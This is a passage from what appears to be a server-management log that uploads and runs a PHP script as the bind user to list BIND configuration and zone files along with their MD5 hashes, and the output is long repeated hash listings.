MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-28 10:37:56: Establishing a connection
2026-04-28 10:37:56: 

PUT: /tmp/pkp560213

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-28 10:37:56: 

runuser -l bind -s /bin/bash -c '/tmp/pkp560213; rm /tmp/pkp560213'

2026-04-28 10:37:57: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-28 10:37:59: Establishing a connection
2026-04-28 10:37:59: 

PUT: /tmp/pkp856075

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-28 10:37:59: 

runuser -l bind -s /bin/bash -c '/tmp/pkp856075; rm /tmp/pkp856075'

2026-04-28 10:37:59: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
